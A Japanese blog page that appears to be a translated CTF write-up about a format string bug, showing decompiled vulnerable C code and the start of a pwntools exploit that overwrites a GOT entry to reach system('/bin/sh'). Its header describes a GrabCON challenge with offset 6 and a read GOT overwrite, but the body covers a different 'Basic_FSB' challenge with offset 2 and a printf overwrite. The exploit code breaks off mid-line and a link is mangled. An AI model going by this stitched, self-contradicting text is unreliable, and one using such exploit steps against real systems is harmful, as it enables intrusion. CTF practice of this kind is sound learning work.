2021-09-09 · 2분
GrabCON CTF — Can You write-up
GrabCON pwnable の write-up(cancancan):スタックカナリーリークという赤ニシンを追いかけた後、printf(buf) に offset 6 の FSB があることに気づき、read の GOT エントリを win 関数で上書きする。
2021-09-09 · 1분
この記事は公開から2年以上経過しています。
https://ctf.j0n9hyun.xyz/challenges#Basic_FSB
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
vuln();
return 0;
}
int vuln()
{
char s[1024]; // [esp+0h] [ebp-808h] BYREF
char format[1032]; // [esp+400h] [ebp-408h] BYREF
printf("input : ");
fgets(s, 1024, stdin);
snprintf(format, 0x400u, s);
return printf(format);
}
int flag()
{
puts("EN)you have successfully modified the value :)");
puts(aKr);
return system("/bin/sh");
}
vuln 関数の snprintf(format, 0x400, s); で FSB が起きます。実際にファイルを実行して確認してみましょう。
!> ****](https://nabomhalang.tistory.com/entry/시스템해킹-FSBFormat-String-Bug-이란)
offset 2、まさに 2 番目で 0x41414141 が出るのが確認できます。つまり offset : 2 になります。その後、関数を上書きするのは何でもよいのですが、私は最も速い printf を flag で上書きします。コードは以下のとおりです。ソースコード もっと見る ```python from pwn import * p = remote('ctf.j0n9hyun.xyz', 3002) e = ELF("./basic_fsb") printf = e.got['printf'] flag = e.symbols['flag'] print(hex — nabomhalang.tistory.com
上のリンクで FSB についてもう少し詳しく学べます。
原文(韓国語): tistory — 2021-09-09 公開、当ブログへ移行。この翻訳は AI の協力で作成されました。
…